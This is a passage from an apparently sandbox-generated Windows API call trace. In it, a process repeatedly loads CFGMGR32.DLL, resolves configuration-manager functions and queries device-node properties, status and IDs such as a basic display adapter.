Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.311] malloc (_Size=0x48) returned 0x20abc27cb20 [0227.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x433ff63e, dwHighDateTime=0x1d9eb0c)) [0227.312] SetEvent (hEvent=0x248) returned 1 [0227.317] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.317] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.317] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.318] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.319] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.320] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.321] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.321] malloc (_Size=0x18) returned 0x20abc281de0 [0227.321] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.322] malloc (_Size=0x48) returned 0x20abc27cb20 [0227.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x43423d8e, dwHighDateTime=0x1d9eb0c)) [0227.322] SetEvent (hEvent=0x248) returned 1 [0227.326] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.326] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.326] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.327] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.328] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.329] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.330] malloc (_Size=0x18) returned 0x20abc281ec0 [0227.330] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.330] malloc (_Size=0x48) returned 0x20abc27cb20 [0227.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4344a17c, dwHighDateTime=0x1d9eb0c)) [0227.331] SetEvent (hEvent=0x248) returned 1 [0227.334] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.334] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.337] malloc (_Size=0x18) returned 0x20abc2819a0 [0227.338] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.338] malloc (_Size=0x48) returned 0x20abc27cb20 [0227.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4344a17c, dwHighDateTime=0x1d9eb0c)) [0227.338] SetEvent (hEvent=0x248) returned 1 [0227.447] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.449] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.455] malloc (_Size=0x18) returned 0x20abc281a80 [0227.455] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0227.459] malloc (_Size=0x48) returned 0x20abc2abf40 [0227.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4357b6bc, dwHighDateTime=0x1d9eb0c)) [0227.460] SetEvent (hEvent=0x248) returned 1 [0227.464] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.464] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.468] malloc (_Size=0x18) returned 0x20abc281f60 [0227.468] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x10, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0227.469] malloc (_Size=0x48) returned 0x20abc2ab270 [0227.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4357b6bc, dwHighDateTime=0x1d9eb0c)) [0227.469] SetEvent (hEvent=0x248) returned 1 [0227.474] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.474] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.478] malloc (_Size=0x18) returned 0x20abc281de0 [0227.478] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x10, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0227.478] malloc (_Size=0x48) returned 0x20abc2abc20 [0227.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x435a1333, dwHighDateTime=0x1d9eb0c)) [0227.479] SetEvent (hEvent=0x248) returned 1 [0227.482] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.482] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.493] malloc (_Size=0x18) returned 0x20abc281d40 [0227.494] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0227.494] malloc (_Size=0x48) returned 0x20abc2ac170 [0227.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x435c7951, dwHighDateTime=0x1d9eb0c)) [0227.494] SetEvent (hEvent=0x248) returned 1 [0227.597] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.597] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0227.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0227.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0227.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0227.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0227.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0227.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0227.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0227.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0227.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0227.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0227.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0227.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0227.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0227.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0227.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0227.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0227.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0227.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0227.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0227.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0227.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0227.601] malloc (_Size=0x18) returned 0x20abc281c80 [0227.601] CM_Get_Device_IDA (in: dnDevInst=0x11, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\BASICDISPLAY\\0000") returned 0x0 [0227.602] malloc (_Size=0x48) returned 0x20abc27cf80 [0227.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x436d264d, dwHighDateTime=0x1d9eb0c)) [0227.602] SetEvent (hEvent=0x248) returned 1 [0227.607] malloc (_Size=0xd8) returned 0x20abc284e70 [0227.607] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 